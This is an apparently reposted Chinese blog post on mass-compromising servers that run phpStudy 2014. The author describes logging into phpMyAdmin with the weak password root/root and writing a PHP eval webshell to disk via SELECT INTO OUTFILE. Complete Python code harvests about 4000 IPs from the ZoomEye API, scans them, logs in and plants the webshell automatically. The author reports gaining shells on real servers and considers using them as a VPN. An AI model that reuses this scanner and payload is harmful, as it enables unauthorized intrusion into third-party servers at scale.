使用 Python 批量爬取 WebShell

还在用爬虫爬一些简单的数据?太没意思了!我们来用爬虫爬 WebShell!

0. 引子

前些天访问一个平时经常访问的网站,意外的发现这个站出了问题,首页变成了 phpStudy 探针 2014,大概是这样的:

查看了一下之后发现,在这个探针的底部,有一个检测 MySQL 数据库连接检测的功能:

可以使用这个功能,检测这台主机上的 MySQL 数据库的账号密码。

然后我注意到了低栏里写了 phpMyAdmin

于是就在域名后面直接加上了 /phpmyadmin 进行访问,没想到,真的能访问。

使用弱口令 root/root 成功登陆之后,我就有了想法:

MySQL 具有导出数据的功能 into outfile,那应该可以直接导出一个一句话木马出来,然后使用菜刀连接吧。绝对路径也在 phpStudy 探针 2014 那个页面能看到,那就开始试试呗。

1. 第一个 WebShell

成功登陆 phpMyAdmin 之后,使用其 SQL 功能,导出一句话木马。

使用菜刀连接。

拿到服务器。

2. 自动化操作

以上的操作都是手工操作,如果希望用爬虫来获取,必须把手工操作简化成程序自动运行。

以上总共分为 5 步,其分别为:

使用 phpStudy 探针 上的 MySQL 检测工具,检测是否是弱口令,如果是的话,记录下绝对路径

检测是否存在目录 /phpmyadmin

登陆 phpmyadmin

使用 phpmyadmin 的 SQL 功能,将一句话木马导出到绝对路径

使用菜刀连接【这个不用自动化

考虑到人生这么短,世界这么大,我这里使用 Python 作为主要编程语言,版本为 3.x。

用到的库主要有 HTML 解析库 BeautifulSoup 和网络请求神库 requests。

以下是编程的总体思路,为了简单起见,暂时没有用到多线程,多进程和协成方面的东西。代码会附在最后。

1. 检测弱口令

函数签名:MySQLConnectCheck(ip)

实现功能:根据提交上来的参数 ip,进行检测其对应的 MySQL 服务是否为弱口令,如果是,先将 ip 记录,再获取绝对路径,并将其保存在一个变量内以供接下来使用。

实现思路:

首先抓包,得到检测弱口令时请求的页面以及提交的参数:

发现提交过一个请求后,返回的 HTML 页面内会根据结果生成相应的弹窗 JS 代码

根据 1,2 就可以进行编码工作

2. 检测 phpmyadmin 目录

函数签名:PhpMyAdminCheck(ip)

实现功能:根据参数 ip,检测其对应的 phpmyadmin 页面时候存在。

实现思路:

使用 requests 库对指定 url 进行访问,监测其返回值是否为 200。

3. 模拟登陆 phpmyadmin

函数签名:LoginPhpMyAdmin(phpMyAdminURL)

实现功能:根据参数 phpMyAdminURL,对指定页面的 phpmyadmin 进行登陆,获取到登陆后得到的 token 和 Cookie

实现思路:

这里有点坑,先不说思路了,说说坑点。

通过开发者工具抓包得到提交的参数里有一个 token,这个 token 和登陆之后后端返回给我的 token 值看上去是相同的,所以我一开始就直接用这个 token 进行下一步操作,结果没想到的是怎么都无法操作。后来我发现,在登陆的时候不提交 token 也丝毫不影响获取到 Cookie,反而 token 会随着登陆成功的页面一起返回回来…

……以上说的有点乱,但是如果有人真正尝试过模拟登陆的话,可能会和我有共鸣吧。

思路其实就是模拟一个 form 表单的提交,要注意的是,返回值是 302 的时候 python 的 requests 库会自动 follow redirect,可以在发送请求的时候设置 allow_redirect = False 或者对得到的响应取第一个 history,response.history[0],具体的在我的代码里可以体现出来。

4. 执行 SQL 语句

函数签名:ExecuteSQL(cookies, phpMyAdminURL, token)

实现功能:执行 SQL 语句,导出一句话木马

实现思路:也是一个 form 表单提交,通过开发者工具可以很轻易的得到提交的数据。这里只要 token 和 Cookie 正确的话没有丝毫坑点。

5. 编码工作基本完成

到这里,整体的实现框架就完成了。剩下的工作就是获取到足够的目标 ip,来进行批量扫描检测。

3. 批量获取 IP

有三种方法批量获取 IP

使用钟馗之眼 API 批量获取

使用撒旦搜索 API 批量获取

使用搜索引擎查找关键字

因为我个人对钟馗之眼和撒旦搜索比较熟悉,所以就使用前 2 种方法了。

对于 1,思路是:

访问钟馗之眼 API 文档,根据其提供的验证方式获取到 Access_token

使用 主机设备搜索 接口,搜索条件为 phpStudy 2014,或者 phpStudy 2014 Country:CN 进行获取,我个人测试,可以获取到 1-400 页的内容,大概有 4000 个 IP

使用 python 对获取到的 ip 进行整理,保留其 ip 地址

代码很简略,如下:

import requests

headers = {"Authorization":"X"}

url = "https://api.zoomeye.org/host/search?query=phpStudy+2014&page="

f = open("ip.txt", "a+")

for i in range(1,401):

print(i)

target = url + str(i)

try:

response = requests.get(target, timeout = 1, headers = headers)

print(response.text)

matches = response.json()["matches"]

for result in matches:

ip = result["ip"]

f.write(ip + "\n")

except BaseException as e:

continue

f.close()

对于撒旦搜索,想要获取到大量数据还有些麻烦,暂时不提了。

4. 开始爬取 webshell

在此之前,需要对我们的代码进行加工。其思路是读取 ip.txt 内的 ip 地址数据,构造成 http://ip 的形式,并循环调用 MySQLConnectCheck(ip) 方法。

5. 运行截图

效果还是不错的!

6. 感想

这种漏洞其实比较简单,能获取到的 webshell 数量比较少。

但是使用爬虫获取这类东西可比爬一些简单的数据有意思多了,能得到的成就感也更大。

用菜刀连接之后,发现有很多前人已经来过了…目录下面各种一句话木马…

也算是得到了一些美国、香港的 IP,不知道可不可以利用他们搭一个 VPN 呢,嘿嘿。

7. 最后,上代码

代码写的有些乱,见谅

import requests

import re

from bs4 import BeautifulSoup

def writeMySQLOKIp(ip):

with open("mysql.txt", "a") as f:

f.write(ip+"\n")

def writeShellIp(ip):

with open("shell.txt", "a") as f:

f.write(ip + "\n")

def MySQLConnectCheck(ip):

global location

data = {

"host": "localhost",

"port": "3306",

"login": "root",

"password": "root",

"act": "MySQL检测",

"funName": ""

}

action = "/l.php"

try:

formAction = ip + action

response = requests.post(formAction, data = data, timeout = 5)

if response.ok:

print(ip, "访问成功")

body = response.text

htmlBody = BeautifulSoup(body, "html.parser")

if htmlBody.select("script")[0].string.find("正常") != -1:

print(ip, "数据库连接成功")

trs = htmlBody.select("table")[0].select("tr")

location = trs[-2].select("td")[-1].string

writeMySQLOKIp(ip)

PhpMyAdminCheck(ip)

else:

print(ip, "数据库连接失败")

else:

print(ip, "访问失败")

except BaseException as e:

print(ip, "访问错误")

PhpMyAdminCheck(ip)

def PhpMyAdminCheck(ip):

phpMyAdminURL = ip + "/phpmyadmin"

try:

response = requests.get(phpMyAdminURL, timeout=5)

if response.ok:

print(ip, "phpmyadmin连接成功")

LoginPhpMyAdmin(phpMyAdminURL)

else:

print(ip, "phpmyadmin连接失败")

except BaseException as e:

print(ip, "error")

def LoginPhpMyAdmin(phpMyAdminURL):

try:

data = {"pma_username": "root", "pma_password": "root", "server": "1", "lang": "en"}

response = requests.post(phpMyAdminURL+"/index.php", data=data, timeout=5)

# 得Token

pat = re.compile(r"var token = '(\S*)'")

token = re.findall(pat, response.text)[0]

# 得Cookie

setCookie = response.history[0].headers["set-cookie"]

pattern = re.compile(r"p[\w-]*=[\w%]*;")

cookies = ' '.join(re.findall(pattern, setCookie))

print(phpMyAdminURL, "phpMyAdmin登陆成功")

ExecuteSQL(cookies, phpMyAdminURL, token)

except BaseException as e:

print(phpMyAdminURL, "phpMyAdmin登陆失败")

def ExecuteSQL(cookies, phpMyAdminURL, token):

global location

try:

sql = "select '<?php @eval($_POST[setting])?>' into outfile '" + location + "/setting.php'"

data = {

"is_js_confirmed":"0",

"db": "mysql",

"token": token,

"pos": "0",

"prev_sql_query": "",

"goto": "db_sql.php",

"message_to_show": "123",

"sql_query": sql,

"sql_delimiter": ";",

"show_query": "1",

"ajax_request": "true"

}

headers = {"Cookie": cookies}

response = requests.post(phpMyAdminURL+"/import.php", data=data, headers=headers, timeout=3).json()

if response["success"]:

print(phpMyAdminURL+"/setting.php", "webshell植入成功, pwd:setting");

writeShellIp(phpMyAdminURL+"/setting.php")

else:

print(phpMyAdminURL, "webshell植入失败, reason:", response["error"]);

except BaseException as e:

print(phpMyAdminURL, "error")

def main():

with open("ip.txt", "r") as f:

for line in f:

ip = line.strip("\n")

target = "http://" + ip

try:

MySQLConnectCheck(target)

except BaseException as e:

print(e)

continue

location = ""

if __name__ == "__main__":

main()

python webshell_使用 Python 批量爬取 WebShell相关推荐

  1. Python爬虫学习,批量爬取下载抖音视频

    这篇文章主要为大家详细介绍了python批量爬取下载抖音视频,具有一定的参考价值,感兴趣的小伙 项目源码展示 ''' 注:如果你对python感兴趣,我这有个学习Python基地,里面有很多学习资料, ...

  2. 给小白的python爬虫入门之批量爬取别样网的视频素材

    网络爬虫,听起来很神秘,其实也不过如此,简单来说,只要网站开放了端口即用户能访问这个网站,那么无论这个网站的反爬机制做的有多么好,只要你的技术够,总会有机会破解它. 换句话说,不是你的网站很安全,而是 ...

  3. python爬虫实例方法(批量爬取网页信息基础代码)

    文章目录 前言 一.爬虫实例 0.爬取深圳租房信息 1.爬取深圳算法岗位信息 2.爬取猫图片(基于 selenium库 模拟人自动点击) 3.爬取小说纳兰无敌并生成词云 二.用到的库 1.正则表达式 ...

  4. python简单爬虫案例 [批量爬取文案]

    前言 辅导员要求发博客,不知道写啥.最近学了下python爬虫的东西,就简单写下爬虫吧 本案例使用python爬虫技术从文案网页http://www.xhwag.com/爬取文案并保存到本地 项目准备 ...

  5. python四级成绩_python 批量爬取四级成绩单

    使用本文爬取成绩大致有几个步骤:1.提取表格(或其他格式文件--含有姓名,身份证等信息)中的数据,为进行准考证爬取做准备.2.下载准考证文件并提取出准考证和姓名信息.3.根据得到信息进行数据分析和存储 ...

  6. python爬虫实战-如何批量爬取唯品会商品信息>>>

    第一步.打开唯品会网站  https://www.vip.com.然后随意搜索一种商品,比如"键盘",搜索之后下拉发现页面URL没有发生改变,但是商品信息在不断加载,那么这就是动态 ...

  7. 【Python】爬虫(Xpath):批量爬取彼岸图网4K图(非真正4K)

    因为真正的4K图需要登录,并且登录后一天也就只能下载一张,所以就只解析爬取了内容页的高清图片(1200*633左右) 代码实现了我目前所能想到的用户骚操作的判定,例如选择的类目不在这个网站内, 或者这 ...

  8. python selenium加bs4批量爬取斗鱼直播信息

    from selenium import webdriver from bs4 import BeautifulSoup import time # 返回Phantomjs对象 driver = we ...

  9. python爬虫5:批量爬取照片到对应的文件夹中

    爬取练习: 案例:表情包网站 先查看具体网页进行分析: 可以看到表情包下还有具体的页面,也就是我们想要爬取的表情了 爬取思路:1.爬取具体表情包下的图片-->2.进行封装后在爬取整个页面--&g ...

最新文章

  1. python课程将主要介绍哪些内容-Python课程详细介绍
  2. 文本挖掘技术在CIC的应用--转载
  3. 小白零基础怎么学习Java?不要慌
  4. java jlabe_[求助]JPanel上怎么移除JLabe。l
  5. ShardingSphere(三) 水平分库配置搭建,实现写入读取
  6. python第三方库tkinter之Label控件和Button控件
  7. project a vertex along its normal onto a triangle
  8. 33.前端之css2
  9. ios睡眠分析 卧床 睡眠_iPhone睡眠模式:教你设置追踪睡眠排程与提升睡眠品质...
  10. Aras Innovator: 把itemtype直接部署在TOC的根目录
  11. postman更换皮肤
  12. android解析json数据格式,Android编程解析Json格式数据的方法
  13. Android直播软件搭建左滑右滑清屏控件
  14. PS-twoday-移动工具
  15. unity模型制作规范
  16. 医学领域深度学习模型训练的挑战
  17. 【01背包】【DP】精卫填海(黄题)
  18. 数字电路逻辑设计笔记(3):集成逻辑门电路
  19. html--样式的建立style,css样式
  20. matlab安装到U盘,matlab u盘便携移动版

热门文章

  1. 【printf】sprintf字符串转数值、数值转字符,拼接字符,函数详细解释 Printf 打印数值...
  2. 【精】mysql行转列的7种方法及列转行
  3. php fpm最大连接数,PHP最大连接数的设置及php-fpm高并发参数调整
  4. java可以在类中直接定义语句_基于javac实现的编译时注解
  5. 腾讯广告/shopee招聘
  6. spad 探测器_基于SNSPD与SPAD探测器的激光测距系统的r比较研究
  7. DaVinci Resolve Studio 17 Mac 达芬奇剪辑调色软件
  8. Creator杆子游戏源码
  9. python 保存视频流_python3将视频流保存为本地视频文件
  10. 机器学习小组知识点45:批量梯度下降法(BGD)和随机梯度下降法(SGD)的代码实现Matlab版1